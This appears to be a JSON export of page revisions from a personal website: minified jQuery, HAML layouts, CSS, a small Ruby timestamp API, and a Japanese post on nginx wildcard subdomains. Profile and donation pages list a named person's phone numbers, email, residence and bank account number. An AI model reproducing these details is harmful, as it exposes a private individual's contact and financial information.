c.xhrFields)h[j]=c.xhrFields[j];c.mimeType\u0026\u0026h.overrideMimeType\u0026\u0026h.overrideMimeType(c.mimeType),!c.crossDomain\u0026\u0026!e[\"X-Requested-With\"]\u0026\u0026(e[\"X-Requested-With\"]=\"XMLHttpRequest\");try{for(j in e)h.setRequestHeader(j,e[j])}catch(k){}h.send(c.hasContent\u0026\u0026c.data||null),d=function(a,e){var j,k,l,m,n;try{if(d\u0026\u0026(e||h.readyState===4)){d=b,i\u0026\u0026(h.onreadystatechange=f.noop,cb\u0026\u0026delete cd[i]);if(e)h.readyState!==4\u0026\u0026h.abort();else{j=h.status,l=h.getAllResponseHeaders(),m={},n=h.responseXML,n\u0026\u0026n.documentElement\u0026\u0026(m.xml=n),m.text=h.responseText;try{k=h.statusText}catch(o){k=\"\"}!j\u0026\u0026c.isLocal\u0026\u0026!c.crossDomain?j=m.text?200:404:j===1223\u0026\u0026(j=204)}}}catch(p){e||g(-1,p)}m\u0026\u0026g(j,k,m,l)},!c.async||h.readyState===4?d():(i=++cc,cb\u0026\u0026(cd||(cd={},f(a).unload(cb)),cd[i]=d),h.onreadystatechange=d)},abort:function(){d\u0026\u0026d(0,1)}}}});var cg={},ch,ci,cj=/^(?:toggle|show|hide)$/,ck=/^([+\\-]=)?([\\d+.\\-]+)([a-z%]*)$/i,cl,cm=[[\"height\",\"marginTop\",\"marginBottom\",\"paddingTop\",\"paddingBottom\"],[\"width\",\"marginLeft\",\"marginRight\",\"paddingLeft\",\"paddingRight\"],[\"opacity\"]],cn;f.fn.extend({show:function(a,b,c){var d,e;if(a||a===0)return this.animate(cq(\"show\",3),a,b,c);for(var g=0,h=this.length;g\u003ch;g++)d=this[g],d.style\u0026\u0026(e=d.style.display,!f._data(d,\"olddisplay\")\u0026\u0026e===\"none\"\u0026\u0026(e=d.style.display=\"\"),e===\"\"\u0026\u0026f.css(d,\"display\")===\"none\"\u0026\u0026f._data(d,\"olddisplay\",cr(d.nodeName)));for(g=0;g\u003ch;g++){d=this[g];if(d.style){e=d.style.display;if(e===\"\"||e===\"none\")d.style.display=f._data(d,\"olddisplay\")||\"\"}}return this},hide:function(a,b,c){if(a||a===0)return this.animate(cq(\"hide\",3),a,b,c);for(var d=0,e=this.length;d\u003ce;d++)if(this[d].style){var g=f.css(this[d],\"display\");g!==\"none\"\u0026\u0026!f._data(this[d],\"olddisplay\")\u0026\u0026f._data(this[d],\"olddisplay\",g)}for(d=0;d\u003ce;d++)this[d].style\u0026\u0026(this[d].style.display=\"none\");return this},_toggle:f.fn.toggle,toggle:function(a,b,c){var d=typeof a==\"boolean\";f.isFunction(a)\u0026\u0026f.isFunction(b)?this._toggle.apply(this,arguments):a==null||d?this.each(function(){var b=d?a:f(this).is(\":hidden\");f(this)[b?\"show\":\"hide\"]()}):this.animate(cq(\"toggle\",3),a,b,c);return this},fadeTo:function(a,b,c,d){return this.filter(\":hidden\").css(\"opacity\",0).show().end().animate({opacity:b},a,c,d)},animate:function(a,b,c,d){var e=f.speed(b,c,d);if(f.isEmptyObject(a))return this.each(e.complete,[!1]);a=f.extend({},a);return this[e.queue===!1?\"each\":\"queue\"](function(){e.queue===!1\u0026\u0026f._mark(this);var b=f.extend({},e),c=this.nodeType===1,d=c\u0026\u0026f(this).is(\":hidden\"),g,h,i,j,k,l,m,n,o;b.animatedProperties={};for(i in a){g=f.camelCase(i),i!==g\u0026\u0026(a[g]=a[i],delete a[i]),h=a[g],f.isArray(h)?(b.animatedProperties[g]=h[1],h=a[g]=h[0]):b.animatedProperties[g]=b.specialEasing\u0026\u0026b.specialEasing[g]||b.easing||\"swing\";if(h===\"hide\"\u0026\u0026d||h===\"show\"\u0026\u0026!d)return b.complete.call(this);c\u0026\u0026(g===\"height\"||g===\"width\")\u0026\u0026(b.overflow=[this.style.overflow,this.style.overflowX,this.style.overflowY],f.css(this,\"display\")===\"inline\"\u0026\u0026f.css(this,\"float\")===\"none\"\u0026\u0026(f.support.inlineBlockNeedsLayout?(j=cr(this.nodeName),j===\"inline\"?this.style.display=\"inline-block\":(this.style.display=\"inline\",this.style.zoom=1)):this.style.display=\"inline-block\"))}b.overflow!=null\u0026\u0026(this.style.overflow=\"hidden\");for(i in a)k=new f.fx(this,b,i),h=a[i],cj.test(h)?k[h===\"toggle\"?d?\"show\":\"hide\":h]():(l=ck.exec(h),m=k.cur(),l?(n=parseFloat(l[2]),o=l[3]||(f.cssNumber[i]?\"\":\"px\"),o!==\"px\"\u0026\u0026(f.style(this,i,(n||1)+o),m=(n||1)/k.cur()*m,f.style(this,i,m+o)),l[1]\u0026\u0026(n=(l[1]===\"-=\"?-1:1)*n+m),k.custom(m,n,o)):k.custom(m,h,\"\"));return!0})},stop:function(a,b){a\u0026\u0026this.queue([]),this.each(function(){var a=f.timers,c=a.length;b||f._unmark(!0,this);while(c--)a[c].elem===this\u0026\u0026(b\u0026\u0026a[c](!0),a.splice(c,1))}),b||this.dequeue();return this}}),f.each({slideDown:cq(\"show\",1),slideUp:cq(\"hide\",1),slideToggle:cq(\"toggle\",1),fadeIn:{opacity:\"show\"},fadeOut:{opacity:\"hide\"},fadeToggle:{opacity:\"toggle\"}},function(a,b){f.fn[a]=function(a,c,d){return this.animate(b,a,c,d)}}),f.extend({speed:function(a,b,c){var d=a\u0026\u0026typeof a==\"object\"?f.extend({},a):{complete:c||!c\u0026\u0026b||f.isFunction(a)\u0026\u0026a,duration:a,easing:c\u0026\u0026b||b\u0026\u0026!f.isFunction(b)\u0026\u0026b};d.duration=f.fx.off?0:typeof d.duration==\"number\"?d.duration:d.duration in f.fx.speeds?f.fx.speeds[d.duration]:f.fx.speeds._default,d.old=d.complete,d.complete=function(a){f.isFunction(d.old)\u0026\u0026d.old.call(this),d.queue!==!1?f.dequeue(this):a!==!1\u0026\u0026f._unmark(this)};return d},easing:{linear:function(a,b,c,d){return c+d*a},swing:function(a,b,c,d){return(-Math.cos(a*Math.PI)/2+.5)*d+c}},timers:[],fx:function(a,b,c){this.options=b,this.elem=a,this.prop=c,b.orig=b.orig||{}}}),f.fx.prototype={update:function(){this.options.step\u0026\u0026this.options.step.call(this.elem,this.now,this),(f.fx.step[this.prop]||f.fx.step._default)(this)},cur:function(){if(this.elem[this.prop]!=null\u0026\u0026(!this.elem.style||this.elem.style[this.prop]==null))return this.elem[this.prop];var a,b=f.css(this.elem,this.prop);return isNaN(a=parseFloat(b))?!b||b===\"auto\"?0:b:a},custom:function(a,b,c){function g(a){return d.step(a)}var d=this,e=f.fx;this.startTime=cn||co(),this.start=a,this.end=b,this.unit=c||this.unit||(f.cssNumber[this.prop]?\"\":\"px\"),this.now=this.start,this.pos=this.state=0,g.elem=this.elem,g()\u0026\u0026f.timers.push(g)\u0026\u0026!cl\u0026\u0026(cl=setInterval(e.tick,e.interval))},show:function(){this.options.orig[this.prop]=f.style(this.elem,this.prop),this.options.show=!0,this.custom(this.prop===\"width\"||this.prop===\"height\"?1:0,this.cur()),f(this.elem).show()},hide:function(){this.options.orig[this.prop]=f.style(this.elem,this.prop),this.options.hide=!0,this.custom(this.cur(),0)},step:function(a){var b=cn||co(),c=!0,d=this.elem,e=this.options,g,h;if(a||b\u003e=e.duration+this.startTime){this.now=this.end,this.pos=this.state=1,this.update(),e.animatedProperties[this.prop]=!0;for(g in e.animatedProperties)e.animatedProperties[g]!==!0\u0026\u0026(c=!1);if(c){e.overflow!=null\u0026\u0026!f.support.shrinkWrapBlocks\u0026\u0026f.each([\"\",\"X\",\"Y\"],function(a,b){d.style[\"overflow\"+b]=e.overflow[a]}),e.hide\u0026\u0026f(d).hide();if(e.hide||e.show)for(var i in e.animatedProperties)f.style(d,i,e.orig[i]);e.complete.call(d)}return!1}e.duration==Infinity?this.now=b:(h=b-this.startTime,this.state=h/e.duration,this.pos=f.easing[e.animatedProperties[this.prop]](this.state,h,0,1,e.duration),this.now=this.start+(this.end-this.start)*this.pos),this.update();return!0}},f.extend(f.fx,{tick:function(){for(var a=f.timers,b=0;b\u003ca.length;++b)a[b]()||a.splice(b--,1);a.length||f.fx.stop()},interval:13,stop:function(){clearInterval(cl),cl=null},speeds:{slow:600,fast:200,_default:400},step:{opacity:function(a){f.style(a.elem,\"opacity\",a.now)},_default:function(a){a.elem.style\u0026\u0026a.elem.style[a.prop]!=null?a.elem.style[a.prop]=(a.prop===\"width\"||a.prop===\"height\"?Math.max(0,a.now):a.now)+a.unit:a.elem[a.prop]=a.now}}}),f.expr\u0026\u0026f.expr.filters\u0026\u0026(f.expr.filters.animated=function(a){return f.grep(f.timers,function(b){return a===b.elem}).length});var cs=/^t(?:able|d|h)$/i,ct=/^(?:body|html)$/i;\"getBoundingClientRect\"in c.documentElement?f.fn.offset=function(a){var b=this[0],c;if(a)return this.each(function(b){f.offset.setOffset(this,a,b)});if(!b||!b.ownerDocument)return null;if(b===b.ownerDocument.body)return f.offset.bodyOffset(b);try{c=b.getBoundingClientRect()}catch(d){}var e=b.ownerDocument,g=e.documentElement;if(!c||!f.contains(g,b))return c?{top:c.top,left:c.left}:{top:0,left:0};var h=e.body,i=cu(e),j=g.clientTop||h.clientTop||0,k=g.clientLeft||h.clientLeft||0,l=i.pageYOffset||f.support.boxModel\u0026\u0026g.scrollTop||h.scrollTop,m=i.pageXOffset||f.support.boxModel\u0026\u0026g.scrollLeft||h.scrollLeft,n=c.top+l-j,o=c.left+m-k;return{top:n,left:o}}:f.fn.offset=function(a){var b=this[0];if(a)return this.each(function(b){f.offset.setOffset(this,a,b)});if(!b||!b.ownerDocument)return null;if(b===b.ownerDocument.body)return f.offset.bodyOffset(b);f.offset.initialize();var c,d=b.offsetParent,e=b,g=b.ownerDocument,h=g.documentElement,i=g.body,j=g.defaultView,k=j?j.getComputedStyle(b,null):b.currentStyle,l=b.offsetTop,m=b.offsetLeft;while((b=b.parentNode)\u0026\u0026b!==i\u0026\u0026b!==h){if(f.offset.supportsFixedPosition\u0026\u0026k.position===\"fixed\")break;c=j?j.getComputedStyle(b,null):b.currentStyle,l-=b.scrollTop,m-=b.scrollLeft,b===d\u0026\u0026(l+=b.offsetTop,m+=b.offsetLeft,f.offset.doesNotAddBorder\u0026\u0026(!f.offset.doesAddBorderForTableAndCells||!cs.test(b.nodeName))\u0026\u0026(l+=parseFloat(c.borderTopWidth)||0,m+=parseFloat(c.borderLeftWidth)||0),e=d,d=b.offsetParent),f.offset.subtractsBorderForOverflowNotVisible\u0026\u0026c.overflow!==\"visible\"\u0026\u0026(l+=parseFloat(c.borderTopWidth)||0,m+=parseFloat(c.borderLeftWidth)||0),k=c}if(k.position===\"relative\"||k.position===\"static\")l+=i.offsetTop,m+=i.offsetLeft;f.offset.supportsFixedPosition\u0026\u0026k.position===\"fixed\"\u0026\u0026(l+=Math.max(h.scrollTop,i.scrollTop),m+=Math.max(h.scrollLeft,i.scrollLeft));return{top:l,left:m}},f.offset={initialize:function(){var a=c.body,b=c.createElement(\"div\"),d,e,g,h,i=parseFloat(f.css(a,\"marginTop\"))||0,j=\"\u003cdiv style='position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;'\u003e\u003cdiv\u003e\u003c/div\u003e\u003c/div\u003e\u003ctable style='position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;' cellpadding='0' cellspacing='0'\u003e\u003ctr\u003e\u003ctd\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\";f.extend(b.style,{position:\"absolute\",top:0,left:0,margin:0,border:0,width:\"1px\",height:\"1px\",visibility:\"hidden\"}),b.innerHTML=j,a.insertBefore(b,a.firstChild),d=b.firstChild,e=d.firstChild,h=d.nextSibling.firstChild.firstChild,this.doesNotAddBorder=e.offsetTop!==5,this.doesAddBorderForTableAndCells=h.offsetTop===5,e.style.position=\"fixed\",e.style.top=\"20px\",this.supportsFixedPosition=e.offsetTop===20||e.offsetTop===15,e.style.position=e.style.top=\"\",d.style.overflow=\"hidden\",d.style.position=\"relative\",this.subtractsBorderForOverflowNotVisible=e.offsetTop===-5,this.doesNotIncludeMarginInBodyOffset=a.offsetTop!==i,a.removeChild(b),f.offset.initialize=f.noop},bodyOffset:function(a){var b=a.offsetTop,c=a.offsetLeft;f.offset.initialize(),f.offset.doesNotIncludeMarginInBodyOffset\u0026\u0026(b+=parseFloat(f.css(a,\"marginTop\"))||0,c+=parseFloat(f.css(a,\"marginLeft\"))||0);return{top:b,left:c}},setOffset:function(a,b,c){var d=f.css(a,\"position\");d===\"static\"\u0026\u0026(a.style.position=\"relative\");var e=f(a),g=e.offset(),h=f.css(a,\"top\"),i=f.css(a,\"left\"),j=(d===\"absolute\"||d===\"fixed\")\u0026\u0026f.inArray(\"auto\",[h,i])\u003e-1,k={},l={},m,n;j?(l=e.position(),m=l.top,n=l.left):(m=parseFloat(h)||0,n=parseFloat(i)||0),f.isFunction(b)\u0026\u0026(b=b.call(a,c,g)),b.top!=null\u0026\u0026(k.top=b.top-g.top+m),b.left!=null\u0026\u0026(k.left=b.left-g.left+n),\"using\"in b?b.using.call(a,k):e.css(k)}},f.fn.extend({position:function(){if(!this[0])return null;var a=this[0],b=this.offsetParent(),c=this.offset(),d=ct.test(b[0].nodeName)?{top:0,left:0}:b.offset();c.top-=parseFloat(f.css(a,\"marginTop\"))||0,c.left-=parseFloat(f.css(a,\"marginLeft\"))||0,d.top+=parseFloat(f.css(b[0],\"borderTopWidth\"))||0,d.left+=parseFloat(f.css(b[0],\"borderLeftWidth\"))||0;return{top:c.top-d.top,left:c.left-d.left}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||c.body;while(a\u0026\u0026!ct.test(a.nodeName)\u0026\u0026f.css(a,\"position\")===\"static\")a=a.offsetParent;return a})}}),f.each([\"Left\",\"Top\"],function(a,c){var d=\"scroll\"+c;f.fn[d]=function(c){var e,g;if(c===b){e=this[0];if(!e)return null;g=cu(e);return g?\"pageXOffset\"in g?g[a?\"pageYOffset\":\"pageXOffset\"]:f.support.boxModel\u0026\u0026g.document.documentElement[d]||g.document.body[d]:e[d]}return this.each(function(){g=cu(this),g?g.scrollTo(a?f(g).scrollLeft():c,a?c:f(g).scrollTop()):this[d]=c})}}),f.each([\"Height\",\"Width\"],function(a,c){var d=c.toLowerCase();f.fn[\"inner\"+c]=function(){var a=this[0];return a\u0026\u0026a.style?parseFloat(f.css(a,d,\"padding\")):null},f.fn[\"outer\"+c]=function(a){var b=this[0];return b\u0026\u0026b.style?parseFloat(f.css(b,d,a?\"margin\":\"border\")):null},f.fn[d]=function(a){var e=this[0];if(!e)return a==null?null:this;if(f.isFunction(a))return this.each(function(b){var c=f(this);c[d](a.call(this,b,c[d]()))});if(f.isWindow(e)){var g=e.document.documentElement[\"client\"+c],h=e.document.body;return e.document.compatMode===\"CSS1Compat\"\u0026\u0026g||h\u0026\u0026h[\"client\"+c]||g}if(e.nodeType===9)return Math.max(e.documentElement[\"client\"+c],e.body[\"scroll\"+c],e.documentElement[\"scroll\"+c],e.body[\"offset\"+c],e.documentElement[\"offset\"+c]);if(a===b){var i=f.css(e,d),j=parseFloat(i);return f.isNaN(j)?i:j}return this.css(d,typeof a==\"string\"?a:a+\"px\")}}),a.jQuery=a.$=f})(window);","created_at":"2011-09-20T04:09:47.000Z","updated_at":"2011-09-20T04:09:47.000Z"},{"id":1901,"name":"kure.ssig33.com","body":"title くれ\r\n# なんかくれ\r\n## 金くれ\r\n三菱東京UFJ銀行 新宿新都心支店 0090551 コイケリク\r\n\r\nsubdomain only","created_at":"2011-09-20T04:17:46.000Z","updated_at":"2011-09-20T04:17:46.000Z"},{"id":1902,"name":"kure.ssig33.com","body":"title くれ\r\n# なんかくれ\r\n## 金くれ\r\n三菱東京UFJ銀行 新宿新都心支店 0090551 コイケリク\r\n\r\n## はてなポイントくれ\r\n[id:ssig33 にくれ](http://www.hatena.ne.jp/sendpoint?name=ssig33)\r\n\r\nsubdomain only","created_at":"2011-09-20T04:48:29.000Z","updated_at":"2011-09-20T04:48:29.000Z"},{"id":1903,"name":"index","body":"#ssig33.com\r\n\r\n## Contents \u0026 Service\r\n[Text](http://text.ssig33.com) \r\n\r\n[Activity](/activity)\r\n\r\n[Rolling Icon](http://icon.ssig33.com) *Twitter Icon Manager that's very cool.*\r\n\r\n[Money Please](http://kanekure.ssig33.com)\r\n\r\n[Bread Please](http://pankure.ssig33.com)\r\n\r\n[Message](/message)\r\n\r\n[Tumblelog](http://tumblelog.ssig33.com) *powered by Tumblr*\r\n\r\n[others](/others)\r\n\r\n[Contact](/連絡先) (for Japanese)\r\n\r\n[Recent Update of This Site](/recent)\r\n\r\n### Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90-1450-2501 \r\n**Living at:** [Geekhouse Shinjuku-WEST](http://twitter.com/#!/ssig33/status/24135533680664576) \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Skype :** ssig33 \r\n**Job :** Scinario Writer, Software Engineer, Game Planner \r\n**Face :** \r\n![img](http://ssig33.com/data/6cd997decc7a4113e451529c7662137b.png)\r\n\r\n### Skill\r\n- Ruby\r\n- Ruby on Rails\r\n- Sinatra\r\n- MySQL\r\n- MongoDB\r\n- RSpec\r\n- Cucumber\r\n- Behavior Driven Development\r\n- Japanese\r\n- Know much about History of Nanbokucho(JPN), Muromachi(JPN), and Sanguozhi(CN) \r\n- English(a bit)\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e","created_at":"2011-09-20T07:00:05.000Z","updated_at":"2011-09-20T07:00:05.000Z"},{"id":1904,"name":"api.ssig33.com/timestamp","body":"ruby\r\ncreated_at = Page.where(name: request.params[\"name\"]).order(\"created_at asc\").first.created_at\r\nupdated_at = Page.where(name: request.params[\"name\"]).order(\"created_at desc\").first.created_at\r\n{created_at: created_at, updated_at: updated_at}.to_json","created_at":"2011-09-20T07:01:44.000Z","updated_at":"2011-09-20T07:01:44.000Z"},{"id":1905,"name":"api.ssig33.com/timestamp","body":"ruby\r\ncreated_at = Page.where(name: request.params[\"name\"]).order(\"created_at asc\").first.created_at\r\nupdated_at = \"\"#Page.where(name: request.params[\"name\"]).order(\"created_at desc\").first.created_at\r\n{created_at: created_at, updated_at: updated_at}.to_json","created_at":"2011-09-20T07:03:10.000Z","updated_at":"2011-09-20T07:03:10.000Z"},{"id":1906,"name":"api.ssig33.com/timestamp","body":"ruby\r\ncreated_at = \"\"#Page.where(name: request.params[\"name\"]).order(\"created_at asc\").first.created_at\r\nupdated_at = \"\"#Page.where(name: request.params[\"name\"]).order(\"created_at desc\").first.created_at\r\n{created_at: created_at, updated_at: updated_at}.to_json","created_at":"2011-09-20T07:03:21.000Z","updated_at":"2011-09-20T07:03:21.000Z"},{"id":1907,"name":"api.ssig33.com/timestamp","body":"ruby\r\nif Page.where(name: request.params[\"name\"]).first\r\n created_at = \"\"#Page.where(name: request.params[\"name\"]).order(\"created_at asc\").first.created_at\r\n updated_at = \"\"#Page.where(name: request.params[\"name\"]).order(\"created_at desc\").first.created_at\r\n {created_at: created_at, updated_at: updated_at}.to_json\r\nelse\r\n \"\"\r\nend","created_at":"2011-09-20T07:04:08.000Z","updated_at":"2011-09-20T07:04:08.000Z"},{"id":1908,"name":"api.ssig33.com/timestamp","body":"ruby\r\nif Page.where(name: request.params[\"name\"]).first\r\n created_at = Page.where(name: request.params[\"name\"]).order(\"created_at asc\").first.created_at\r\n updated_at = Page.where(name: request.params[\"name\"]).order(\"created_at desc\").first.created_at\r\n {created_at: created_at, updated_at: updated_at}.to_json\r\nelse\r\n \"\"\r\nend","created_at":"2011-09-20T07:04:44.000Z","updated_at":"2011-09-20T07:04:44.000Z"},{"id":1909,"name":"layout","body":"layout レイアウト\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_main.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_ext.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/jquery.js\"}\r\n%div#all~@page.html(request)\r\n:javascript\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n code.remove();\r\n pre.text(text);\r\n var lang = pre.attr(\"lang\");\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n \r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"http://ssig33.com/api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n })\r\n }\r\n\u003c!-- layout from Database --\u003e\r\n","created_at":"2011-09-20T07:08:30.000Z","updated_at":"2011-09-20T07:08:30.000Z"},{"id":1910,"name":"サブドメインを沢山使いたい","body":"[トップに戻る](/)\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n\r\n## サブドメインを沢山使いたい\r\nhttp://kure.ssig33.com http://darui.ssig33.com http://nemui.ssig33.com みたいのを沢山作ってコンテンツをそこに置きたい。めんどくさいことはしたくなくて、設定ファイルをいじるのは最初の一回だけにしたい。コンテンツの更新はブラウザ経由でやりたい。置きたいコンテンツは精々静的な HTML 一枚。\r\n\r\nそんな需要が僕にはあったので解決してみた。\r\n\r\nもともと ssig33.com は Sinatra で作ったアプリで、その前段に nginx がいるという構成になっていた。 nginx の設定は\r\n\r\n```\r\nupstream ssig33.com{\r\n server localhost:9233;\r\n}\r\nserver {\r\n listen 80;\r\n root /home/ssig33/dev/site/public;\r\n index index.html index.htm;\r\n\r\n server_name ssig33.com;\r\n\r\n location / {\r\n proxy_pass http://ssig33.com/;\r\n }\r\n```\r\n\r\nこんな感じだった。というわけでいろいろ調べた結果これ\r\n\r\n```\r\nserver {\r\n server_name ~^(?\u003cdomain\u003e.+)\\.ssig33\\.com$;\r\n location ~^(?\u003cpass\u003e.+)$ {\r\n proxy_pass http://ssig33.com/$domain.ssig33.com$pass;\r\n }\r\n}\r\n```\r\n\r\nを加えた。そうすると http://hoge.ssig33.com/huga にアクセスした時に http://ssig33.com/hoge.ssig33.com/huga が表示される。 http://ssig33.com のデータは Web から編集出来るので気楽にサブドメインにコンテンツを配置出来るようになった。面白い。\r\n\r\nnginx では sever_name とかはちゃんと書いた奴 -\u003e 正規表現で書いた奴という順序で評価される(っぽい)ので、 text.ssig33.com とかそういう既存の奴の邪魔もしない。\r\n\r\nところで ssig33.com では自宅サーバーで動いていて、自宅内ネットワークでは dnsmasq を使って名前解決していたのだけど、これまで通り hosts ファイルをばらまくだけではどうにもならない。でもちゃんと設定はあって、 dnsmasq.conf に \r\n\r\n```\r\naddress=/.ssig33.com/192.168.1.107\r\n```\r\n\r\nとか書いとくと意図した通りに動く(っぽい)。","created_at":"2011-09-20T07:08:52.000Z","updated_at":"2011-09-20T07:08:52.000Z"},{"id":1911,"name":"layout","body":"layout レイアウト\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_main.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_ext.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/jquery.js\"}\r\n%div#all~@page.html(request)\r\n:javascript\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n code.remove();\r\n pre.text(text);\r\n var lang = pre.attr(\"lang\");\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n \r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"http://ssig33.com/api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n })\r\n }\r\n\u003c!-- layout from Database --\u003e","created_at":"2011-10-01T01:43:12.000Z","updated_at":"2011-10-01T01:43:12.000Z"},{"id":1912,"name":"metro.css","body":"raw\r\nmime css\r\nspan.none{display:none}\r\na{color:white}\r\n.h1{font-size:7em}.\r\nh2{font-size:3em}\r\n.right{float:right}\r\n.left{float:left}\r\n.clear{clear:both}\r\nbody{background:black;color:white}\r\n.nick{color:lightpink}\r\n.mine{color:yellow}\r\n.x-small{font-size:x-small}\r\nspan.link{font-size:x-large}","created_at":"2011-10-01T01:43:51.000Z","updated_at":"2011-10-01T01:43:51.000Z"},{"id":1913,"name":"index","body":"\u003cspan class=\"h1\"\u003essig33.com\u003c/span\u003e\r\n\r\n\u003cspan class=\"h2\"\u003e Contents \u0026 Service\u003c/span\u003e\r\n\r\n[Text](http://text.ssig33.com) \r\n\r\n[Activity](/activity)\r\n\r\n[Rolling Icon](http://icon.ssig33.com) *Twitter Icon Manager that's very cool.*\r\n\r\n[Money Please](http://kanekure.ssig33.com)\r\n\r\n[Bread Please](http://pankure.ssig33.com)\r\n\r\n[Message](/message)\r\n\r\n[Tumblelog](http://tumblelog.ssig33.com) *powered by Tumblr*\r\n\r\n[others](/others)\r\n\r\n[Contact](/連絡先) (for Japanese)\r\n\r\n[Recent Update of This Site](/recent)\r\n\r\n# Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90-1450-2501 \r\n**Living at:** [Geekhouse Shinjuku-WEST](http://twitter.com/#!/ssig33/status/24135533680664576) \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Skype :** ssig33 \r\n**Job :** Scinario Writer, Software Engineer, Game Planner \r\n**Face :** \r\n![img](http://ssig33.com/data/6cd997decc7a4113e451529c7662137b.png)\r\n\r\n# Skill\r\n- Ruby\r\n- Ruby on Rails\r\n- Sinatra\r\n- MySQL\r\n- MongoDB\r\n- RSpec\r\n- Cucumber\r\n- Behavior Driven Development\r\n- Japanese\r\n- Know much about History of Nanbokucho(JPN), Muromachi(JPN), and Sanguozhi(CN) \r\n- English(a bit)\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e","created_at":"2011-10-01T01:44:43.000Z","updated_at":"2011-10-01T01:44:43.000Z"},{"id":1914,"name":"metro.css","body":"raw\r\nmime css\r\nspan.none{display:none}\r\na{color:white}\r\n.h1{font-size:7em}\r\n.h2{font-size:3em}\r\n.right{float:right}\r\n.left{float:left}\r\n.clear{clear:both}\r\nbody{background:black;color:white}\r\n.nick{color:lightpink}\r\n.mine{color:yellow}\r\n.x-small{font-size:x-small}\r\nspan.link{font-size:x-large}","created_at":"2011-10-01T01:46:46.000Z","updated_at":"2011-10-01T01:46:46.000Z"},{"id":1915,"name":"index","body":"\u003cspan class=\"h1\"\u003essig33.com\u003c/span\u003e\r\n\r\n\u003cspan class=\"h2\"\u003e Contents \u0026 Service\u003c/span\u003e\r\n\r\n[Text](http://text.ssig33.com) \r\n\r\n[Photo Stream](http://photo.ssig33.com/)\r\n\r\n[Activity](/activity)\r\n\r\n[Rolling Icon](http://icon.ssig33.com) *Twitter Icon Manager that's very cool.*\r\n\r\n[Money Please](http://kanekure.ssig33.com) *KANEKURE Platform*\r\n\r\n[Tumblelog](http://tumblelog.ssig33.com) *powered by Tumblr*\r\n\r\n[others](/others)\r\n\r\n[Contact](/連絡先) (for Japanese)\r\n\r\n[Recent Update of This Site](/recent)\r\n\r\n# Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 80 4134 9835 \r\n**Living at:** [Geekhouse Shinjuku-WEST](http://twitter.com/#!/ssig33/status/24135533680664576) \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Skype :** ssig33 \r\n**Job :** Scinario Writer, Software Engineer, Game Planner \r\n**Face :** 